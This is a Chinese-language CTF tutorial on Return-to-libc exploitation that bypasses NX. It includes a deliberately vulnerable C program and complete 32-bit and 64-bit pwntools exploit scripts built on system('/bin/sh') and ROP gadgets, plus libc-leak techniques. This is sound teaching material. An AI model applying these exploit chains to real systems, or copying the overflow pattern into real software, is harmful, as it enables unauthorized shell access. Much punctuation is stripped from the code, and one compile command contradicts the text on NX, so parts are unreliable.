
1. 项目概述从“溢出”到“控制”的艺术如果你刚接触CTF PWN看到“Ret2Libc”、“NX”这些词可能有点发怵觉得这是高手才玩的东西。别怕今天我们就从一个最经典的场景聊起程序开了栈不可执行保护NX你没法直接把shellcode塞到栈上执行了怎么办Ret2Libc就是解决这个问题的“标准答案”之一。它不是什么黑魔法核心思路非常朴素既然不让我执行自己的代码那我就借用程序里或者系统里现成的代码块比如system函数来达到目的。这篇文章我会带你从零开始手把手复现一个经典的Ret2Libc攻击涵盖32位和64位两种环境并附上可以直接抄作业的完整Exp。我们的目标很明确绕过NX拿到那个梦寐以求的Shell。2. 核心原理与前置知识拆解在动手之前我们必须把几个关键概念和它们之间的关系理清楚。这就像打仗前看地图知道敌人在哪我们有什么武器。2.1 NX保护为什么不能直接执行Shellcode了NXNo-eXecute是一种内存保护技术现代操作系统和编译器默认都会开启。它的作用很简单将内存页标记为“不可执行”。通常程序的代码段.text被标记为可读、可执行数据段.data, .bss和栈stack被标记为可读、可写但不可执行。这意味着什么在传统的栈溢出攻击中攻击者将一段精心构造的机器指令Shellcode写入栈上的缓冲区然后通过覆盖函数返回地址让程序跳转到栈上去执行这些指令。NX保护开启后即使你成功让程序跳转到了栈地址CPU也会抛出一个异常如Segmentation Fault因为那片内存区域不允许执行指令。所以NX保护直接废掉了“在栈上写代码并执行”这条经典攻击路径。我们必须寻找新的出路。2.2 Ret2Libc的核心思想借刀杀人Ret2Libc全称Return-to-libc。Libc是C语言的标准库在Linux系统中几乎每一个动态链接的程序都会加载它。这个库里包含了大量强大的函数比如system、execve、open、read、write等等。Ret2Libc攻击的精髓就在于“借用”。既然不能执行自己的代码那我就利用程序中已经存在的、合法的代码片段。具体来说就是通过栈溢出控制程序的执行流让它不是返回到我们注入的Shellcode而是返回到libc库中的某个函数例如system去执行并且通过精心布局栈上的数据为这个函数准备好它期望的参数。举个例子我们的最终目标是执行system(“/bin/sh”)。那么攻击链就变成了利用栈溢出覆盖返回地址使其指向system函数的入口。在system函数地址之后我们需要在栈上布置好它的参数。对于system函数其参数是一个字符串指针指向命令”/bin/sh”。我们需要在内存中找到一个”/bin/sh”字符串的地址或者自己想办法写进去。2.3 32位与64位调用约定的关键差异这是实操中最大的坑点之一32位和64位程序在函数调用时传递参数的方式完全不同直接影响到我们Exp的构造。32位x86调用约定cdecl参数全部通过栈来传递。调用函数时参数从右向左依次压栈最后压入返回地址。函数内部通过esp偏移来访问这些参数。构造Payload时顺序是填充垃圾数据system函数地址返回地址可随意如0xdeadbeef参数地址如”/bin/sh”的地址。这里的“返回地址”是system函数执行完毕后应该返回的地址因为我们的目标是拿到shell这个地址无关紧要可以填任意值。64位x86-64调用约定System V AMD64 ABI前六个整型或指针参数通过寄存器传递顺序为rdi,rsi,rdx,rcx,r8,r9。多余的参数才通过栈传递。这意味着要调用system(“/bin/sh”)我们不仅需要跳转到system函数还需要在跳转之前将”/bin/sh”的地址放入rdi寄存器。因此我们需要在程序中寻找一些特定的代码片段称为“gadget”。最常用、也最理想的一个gadget是pop rdi; ret。这条指令序列的作用是从栈顶弹出一个值到rdi寄存器然后继续执行ret即再从栈顶弹出下一个值作为返回地址。构造Payload时顺序变为填充垃圾数据pop rdi; ret gadget地址参数地址”/bin/sh”system函数地址。执行流程溢出后首先返回到pop rdi; retgadget。此时栈顶是我们的”/bin/sh”地址pop rdi会将其存入rdi然后ret指令会将下一栈单元即system函数地址弹出作为返回地址从而跳转到system此时rdi已经准备好了正确的参数。注意理解这个差异是成功编写64位Exp的关键。很多新手照着32位的思路做64位题永远打不通根本原因就在这里。3. 实战环境搭建与目标程序分析理论说得再多不如动手调一次。我们以一个简单的、故意留有漏洞的程序为例。3.1 编译漏洞程序我们先写一个简单的C程序vuln.c#include stdio.h #include string.h #include unistd.h void vulnerable_function() { char buf[128]; read(STDIN_FILENO, buf, 256); // 明显的栈溢出漏洞 } int main() { vulnerable_function(); write(STDOUT_FILENO, Hello, World!\n, 14); return 0; }为了模拟真实CTF环境我们开启NX保护并关闭栈保护Canary和地址随机化ASLR以便于初学者理解。在实际做题时ASLR通常是开启的我们需要通过信息泄露来绕过那是Ret2Libc的进阶用法本文先聚焦于基础。编译命令# 编译32位程序关闭栈保护开启NX默认 gcc -m32 -fno-stack-protector -no-pie -z execstack vuln.c -o vuln32 # 为32位程序关闭NX以便对比可选 # gcc -m32 -fno-stack-protector -no-pie -z execstack vuln.c -o vuln32_no_nx # 编译64位程序 gcc -fno-stack-protector -no-pie vuln.c -o vuln64-m32: 生成32位程序。-fno-stack-protector: 关闭栈溢出保护Canary。-no-pie: 关闭位置无关可执行文件让代码段的地址固定便于我们查找函数地址。-z execstack:禁用NX保护仅用于对比实验我们主要攻击的对象是默认开启NX的vuln64。3.2 使用GDB和Pwntools进行动态分析工欲善其事必先利其器。CTF PWN离不开调试和自动化脚本。检查程序安全特性checksec vuln64你会看到类似输出确认NX是ENABLED状态。Arch: amd64-64-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x400000)计算溢出偏移量 我们需要知道写多少数据才能覆盖到返回地址。有多种方法模式字符串使用cyclic工具生成一段唯一字符串触发崩溃后查看覆盖到返回地址的值再用cyclic -l计算偏移。静态分析用GDB调试。这里演示动态方法gdb ./vuln64 (gdb) pattern create 200 # 复制生成的字符串 (gdb) run # 程序等待输入粘贴刚才的字符串 # 程序崩溃记下RIP的值例如 0x6161616161616166 (‘faaa’) (gdb) pattern offset 0x6161616161616166假设计算出偏移是152。那么我们的Payload结构就是152个垃圾字节目标地址。寻找关键地址 由于关闭了PIE和ASLRlibc的加载地址是固定的在同一个系统环境下。我们需要找到system函数地址”/bin/sh”字符串地址64位需要pop rdi; retgadget地址在gdb中寻找(gdb) p system $1 {text variable, no debug info} 0x7ffff7e1b2c0 system (gdb) find system, 9999999, “/bin/sh” # 可能会找到多个选一个可用的地址例如 0x7ffff7f7c5aa # 寻找gadget可以使用ROPgadget工具或者在gdb里配合peda等插件 (gdb) ropgadget # 如果没有可以退出gdb用命令行工具 ROPgadget --binary vuln64 | grep “pop rdi” # 找到例如0x400763 : pop rdi ; ret实操心得在实际CTF比赛中二进制文件通常是动态链接的我们无法直接得到libc函数的绝对地址。但题目往往会提供libc.so文件。这时我们通过泄露程序中某个已知函数如puts、write的真实地址减去它在提供libc中的偏移量就能计算出libc的基地址。基地址加上system和”/bin/sh”在libc中的偏移就得到了它们的真实地址。这就是“带信息泄露的Ret2Libc”是更常见的考法。本文为简化假设地址已知。4. 32位Ret2Libc Exploit 编写理解了原理拿到了地址我们就可以开始构造Payload了。假设通过调试我们得到以下信息你的地址可能不同溢出偏移140字节system地址0xf7e13660”/bin/sh”地址0xf7f5f5aa退出地址随意0xdeadbeef32位的Exp构造非常直观。我们使用pwntools这个Python库来编写攻击脚本。#!/usr/bin/env python3 from pwn import * # 设置上下文指定架构和日志级别 context(arch‘i386’, os‘linux’, log_level‘debug’) # 启动进程 p process(‘./vuln32’) # 计算偏移 offset 140 # 获取地址这里硬编码实际比赛中需要通过泄露计算 system_addr 0xf7e13660 binsh_addr 0xf7f5f5aa exit_addr 0xdeadbeef # 可随意 # 构造Payload payload flat([ b‘A’ * offset, # 填充垃圾数据到返回地址 system_addr, # 覆盖返回地址为system函数 exit_addr, # system函数的返回地址无关紧要 binsh_addr # system函数的第一个参数 ]) # 发送Payload p.send(payload) # 切换到交互模式我们就可以使用得到的shell了 p.interactive()脚本解析flat()函数将多个数据拼接成一个字符串并自动处理字节序小端序。Payload结构严格按照32位调用约定填充 - system地址 - 返回地址 - 参数。p.interactive()是将控制权交给用户如果攻击成功你将看到一个$提示符可以执行ls,cat flag等命令。5. 64位Ret2Libc Exploit 编写64位的情况复杂一些因为需要先设置寄存器。假设我们得到以下信息溢出偏移152字节pop rdi; retgadget地址0x400763system地址0x7ffff7e1b2c0”/bin/sh”地址0x7ffff7f7c5aa#!/usr/bin/env python3 from pwn import * context(arch‘amd64’, os‘linux’, log_level‘debug’) p process(‘./vuln64’) offset 152 pop_rdi_ret 0x400763 system_addr 0x7ffff7e1b2c0 binsh_addr 0x7ffff7f7c5aa # 构造Payload payload flat([ b‘A’ * offset, pop_rdi_ret, # 1. 返回到gadget binsh_addr, # 2. gadget会把这个值pop到rdi system_addr # 3. gadget的ret指令跳转到system ]) p.send(payload) p.interactive()执行流程详解程序执行到vulnerable_function的ret指令时栈顶RSP指向的位置是我们覆盖的pop_rdi_ret地址。ret指令将其弹出到RIPCPU开始执行pop rdi; ret。此时RSP指向了栈上的下一个单元即binsh_addr。pop rdi执行将binsh_addr存入RDI寄存器同时RSP下移。接着执行ret。此时RSP指向的是system_addr。ret将其弹出到RIPCPU跳转到system函数。system函数开始执行它从RDI寄存器中获取第一个参数也就是”/bin/sh”的地址于是成功执行system(“/bin/sh”)。注意事项在更复杂的情况下可能找不到直接的pop rdi; ret。你可能需要组合多个gadget比如先用pop rax; ret把值存到rax再用mov rdi, rax; ret之类的gadget来传递参数。这就是ROPReturn-Oriented Programming链的雏形。6. 常见问题与高级技巧在实际操作中你几乎一定会遇到下面这些问题。6.1 为什么我的Exp本地能通远程打不通这是最常见的问题99%的原因在于地址不对。ASLR远程服务器开启了地址空间布局随机化。你本地的libc地址是固定的但远程每次运行都不同。解决方案必须使用信息泄露。先泄露一个已知函数的地址如putsgot计算出libc基址再推导出system和”/bin/sh”的地址。Libc版本不同你本地调试用的libc版本和题目提供的或远程服务器上的不一致函数偏移量不同。解决方案使用题目提供的libc.so文件或者通过泄露多个函数地址来匹配确定远程libc版本常用工具如libc-database。栈对齐问题64位某些系统如Ubuntu 18.04的system函数在执行前会进行栈对齐检查movaps指令如果栈指针rsp不是16字节对齐会导致崩溃。解决方案在ROP链中多加一个retgadget来调整栈指针。因为ret指令相当于pop rip会让rsp8从而可能实现对齐。通常Payload会变成填充pop_rdi_retbinsh_addrret_gadgetsystem_addr。6.2 如何寻找和利用信息泄露这是Ret2Libc实战的核心。通常利用程序的输出函数如puts,write,printf。泄露思路构造第一次溢出不直接拿shell而是返回到puts(putsgot)。这样程序会打印出puts函数在内存中的真实地址。计算基址libc_base leak_puts_addr - libc.symbols[‘puts’]使用pwntools的ELF模块加载libc文件非常方便。计算目标地址system_addr libc_base libc.symbols[‘system’]binsh_addr libc_base next(libc.search(b’/bin/sh’))。二次攻击收到泄露的地址后在脚本中计算然后构造第二个Payload进行真正的Ret2Libc攻击。6.3 没有现成的/bin/sh字符串怎么办如果libc里找不到/bin/sh或者字符串不可用我们需要自己写。找可写内存在二进制文件中寻找可读可写的内存区域如.data、.bss段。使用ROP链写入通过read或gets函数将字符串/bin/sh\x00注意结尾的NULL字节写入到可写内存地址。这需要构造更复杂的ROP链依次设置rdi文件描述符0为标准输入、rsi目标缓冲区地址、rdx读取长度等参数调用read函数。指向字符串最后在调用system时将参数指向你写入的地址。6.4 工具链推荐PwntoolsPython写的CTF框架必学。它集成了本地/远程连接、打包数据、ELF解析、ROP构建等功能是写Exp的瑞士军刀。ROPgadget/ropper用于在二进制文件中搜索可用的gadget。GDB Peda/Pwndbg/GEF增强的GDB插件让调试体验更友好能直观查看栈、寄存器、内存、反汇编等信息。one_gadget直接在libc中寻找执行execve(‘/bin/sh’, NULL, NULL)的单个gadget地址有时可以绕过复杂的参数构造一击必杀。LibcSearcher/libc-database根据泄露的函数地址查找对应的libc版本。绕过NX的Ret2Libc是PWN入门的必修课它打破了“代码必须可执行”的思维定式开启了利用现有代码片段ROP的大门。从理解调用约定差异到计算偏移、寻找地址再到处理信息泄露和栈对齐每一步都是对底层原理的深入理解。我建议你在本地反复调试本文的示例把每一步的栈状态、寄存器变化都在GDB里看清楚。然后尝试关闭ASLR自己实现一次信息泄露Ret2Libc的完整攻击链。当你成功拿到远程flag的那一刻你会对程序的内存布局和函数调用有脱胎换骨的认识。这条路还有很多进阶技巧比如Stack Pivot、利用_dl_runtime_resolve等但扎实的基础是探索这一切的前提。